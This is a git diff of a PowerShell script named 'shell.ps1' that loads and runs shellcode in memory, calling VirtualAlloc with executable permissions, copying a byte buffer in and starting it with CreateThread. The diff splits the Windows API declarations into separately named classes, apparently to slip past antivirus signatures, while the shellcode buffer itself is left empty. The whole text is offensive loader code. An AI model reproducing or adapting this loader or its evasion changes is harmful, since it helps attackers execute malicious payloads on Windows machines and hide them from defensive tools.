diff --git a/8/shell.ps1 b/8/shell.ps1
index 512c233..ce83413 100644
--- a/8/shell.ps1
+++ b/8/shell.ps1
@@ -1,18 +1,42 @@
-[Byte[]] $buf = 
-Add-Type @"
-public class Win
-{
+$Buf = 
+$VrtAlloc = @"
+using System;
+using System.Runtime.InteropServices;
+
+public class VrtAlloc{
     [DllImport("kernel32")]
-    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
-
-    [DllImport("kernel32.dll", SetLastError=true)]
-    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
-
-    [DllImport("kernel32", CharSet=CharSet.Ansi)]
-    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
+    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);  
 }
 "@
-[IntPtr]$addr = [Win]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
+
+Add-Type $VrtAlloc 
+
+$WaitFor= @"
+using System;
+using System.Runtime.InteropServices;
+
+public class WaitFor{
+ [DllImport("kernel32.dll", SetLastError=true)]
+    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);   
+}
+"@
+
+Add-Type $WaitFor
+
+$CrtThread= @"
+using System;
+using System.Runtime.InteropServices;
+
+public class CrtThread{
+ [DllImport("kernel32", CharSet=CharSet.Ansi)]
+    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
+  
+}
+"@
+Add-Type $CrtThread   
+
+[IntPtr]$addr = [VrtAlloc]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
 [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
-$thandle = [Win]::CreateThread(0, 0, $addr, 0, 0, 0)
-[Win]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
+$thandle = [CrtThread]::CreateThread(0, 0, $addr, 0, 0, 0)
+[WaitFor]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
+